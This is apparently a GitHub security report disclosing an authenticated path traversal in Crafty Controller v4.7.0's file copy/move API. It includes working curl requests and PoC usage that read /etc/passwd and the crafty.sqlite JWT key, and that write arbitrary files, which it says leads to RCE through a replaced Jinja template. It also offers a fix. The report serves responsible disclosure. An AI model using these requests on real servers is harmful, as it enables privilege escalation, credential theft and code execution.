Security: Authenticated Path Traversal in Copy/Move Endpoints - Arbitrary Read & Write Leading to RCE
Quick Information
- Operating System: Windows / Linux / MacOS / UnRAID (any)
- Install Type: Git Cloned(Manual) / Installer / Docker (any)
- Crafty Version: v4.7.0 (introduced in this version)
TL;DR: An authenticated user with FILES permissions over a server can achieve remote code execution (RCE). Also read/write arbitrary files (including the crafty.sqlite DB to get the JWT signing key).
What Happened?
I had a peek at the (lovely) new file browser code and spotted a path traversal issue in the new /api/v2/servers/{server_id}/files/copy and /api/v2/servers/{server_id}/files/move endpoints.
Vulnerable code is here:
class ApiServersServerFilesOperationHandler(BaseApiHandler):
def do_operation(self, operation: str, source_path: Path, target_file: Path):
if operation == "move":
if Path(source_path).is_dir():
FileHelpers.move_dir(source_path, target_file)
else:
FileHelpers.move_file(source_path, target_file)
elif operation == "copy":
if Path(source_path).is_dir():
FileHelpers.copy_dir(source_path, target_file)
else:
FileHelpers.copy_file(source_path, target_file)
There's no checks here, or in the body of the post method that source_path or target_file are actually within the server's directory. Meaning a POST to /api/v2/servers/{server_id}/files/move or /copy allows specifying any paths without traversal checks. Relative and absolute paths both work (due to the path.join/PathLib.Path joining behaviour relating to absolute paths, previously discussed in #650) to traverse outside of the intended directory.
Impact/So What?
Reading any file can always be nasty - especially if the user is hosting the service within a filesystem that contains any sensitive data on they don't expect Crafty users to be able to access. Not to mention that this allows for full privilege escalation to superuser level via JWT forgery from reading crafty.sqlite. I have provided a PoC script that demonstrates this, allowing specifying a remote path to download, or to just grab the crafty.sqlite file and print the JWT signing key.
Writing any file is even nastier - this allows dropping webshells etc, to escalate this to full RCE.
Expected result
The endpoints should have detected traversal attempts, and given me a nice error message!
Exploitation Demo Video
This video demonstrates both the arbitrary read -> JWT signing key exploit, and then follows up with arbitrary write -> RCE:
Steps to reproduce
Proof of Concept Scripts
I execute both of these in the above demo video.
Arbitrary Read/PrivEsc
This script demonstrates the read vulnerability. It depends on: httpx, urllib3, and sqlite3. So pip install httpx urllib3 sqlite3 should suffice for setup.
It accepts credentials (either an API key, a user JWT, or a username & password), and accepts two modes: db (shown in demo video) or file. It dynamically finds a server the user has FILES permissions on and then either:
- In mode
db, downloads thecrafty.sqlitefile to print the JWT signing key - In mode
file, requires a--file-pathto be specified, which is the full path to any file on the remote Crafty host to download.
# Read arbitrary file (e.g., /etc/passwd)
python file_operation_read_poc.py --url https://localhost:8443 \
--username poc_user --password poc_password_123 \
--mode file \
--file-path /etc/passwd \
--output passwd.txt
# Grab crafty.sqlite database (auto-detects location)
python file_operation_read_poc.py --url https://localhost:8443 \
--api-key $SERVER_FILES_API_KEY \
--mode db
Arbitrary Write/RCE
This script demonstrates the write vulnerability. It depends on: httpx & urllib3. So pip install httpx urllib3 should suffice for setup.
Accepts all the same creds as the read PoC, and also dynamically finds a server the user has FILES permissions on, and then:
- In mode
marker, just uploads & writescrafty_file_op_arb_write_proof.txtto the root of the Crafty installation directory - In mode
rce, uploads a malicious variant of thestatus.htmlJinja template & overwrites the legitimate one, allowing RCE via the/statuswebpage
# Safe test - writes marker file to crafty installation directory
python file_operation_write_poc.py --url https://localhost:8443 \
--username poc_user --password poc_password_123 \
--mode marker
# RCE mode - replaces /status template with webshell
python file_operation_write_poc.py --url https://localhost:8443 \
--user-jwt $FILES_ONLY_JWT_FROM_BROWSER \
--mode rce
Manually (via curl)
- Create a server within Crafty, or gain access to an existing one where you have at least
FILESpermissions over it. - Retrieve the server's ID, and your JWT (& CSRF token) from your browser tools, or produce an API key with the relevant permissions
-
POSTto one of the vulnerable endpoints to verify arbitrary read e.g.:
# Using /copy to demo arbitrary read - can use /move if you want!
curl -k -X POST "https://<BASE_URL>/api/v2/servers/<SERVER_ID>/files/copy" \
-H "Authorization: Bearer <API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"file_system_objects": [
{
"source_path": "<FULL_PATH_TO_TARGET_FILE>",
"target_path": "."
}
]
}'
Replacing <BASE_URL>, <SERVER_ID>, <API_KEY>, and <FULL_PATH_TO_TARGET_FILE>. You can use /etc/passwd, /opt/crafty/app/config/db/crafty.sqlite, etc as <FULL_PATH_TO_TARGET_FILE>
- List the file contents of the server, and you should see the target file has been copied into it and is available to download
- Upload a file to the root of the server's files (e.g.
test_marker.txt), and thenPOSTto one of the vulnerable endpoints to verify arbitrary write e.g.:
# Using /move to demo arbitrary write - can use /copy if you want!
curl -k -X POST "https://<BASE_URL>/api/v2/servers/<SERVER_ID>/files/move" \
-H "Authorization: Bearer <API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"file_system_objects": [
{
"source_path": "test_marker.txt",
"target_path": "/tmp"
}
]
}'
- On the server, verify that
/tmp/test_marker.txtnow exists. This proves arbitrary write, which is sufficient for RCE (if the file being copied/moved is a frontend Jinja template; see PoCs above for more detail)
Suggested Fix
Add calls to Helpers.validate_traversal around line 1220 of files.py, e.g.:
# After path construction (around line 1220):
for item in data["file_system_objects"]:
source_path = Path(
self.file_helper.get_absolute_path(server_path, item["source_path"])
)
target_path = Path(
self.file_helper.get_absolute_path(
server_path,
Path(item["target_path"], Path(source_path).name),
)
)
# ADD VALIDATION HERE:
try:
validated_source = Helpers.validate_traversal(server_path, source_path)
validated_target = Helpers.validate_traversal(server_path, target_path)
except ValueError:
return self.finish_json(400, {
"status": "error",
"error": "TRAVERSAL DETECTED",
"error_data": "Path is outside server directory"
})
try:
self.do_operation(operation, validated_source, validated_target)
Priority/Severity
- High (anything that impacts the normal user flow or blocks app usage)
- Medium (anything that negatively affects the user experience)
- Low (anything else e.g., typos, missing icons/translations, layout/formatting issues, etc.)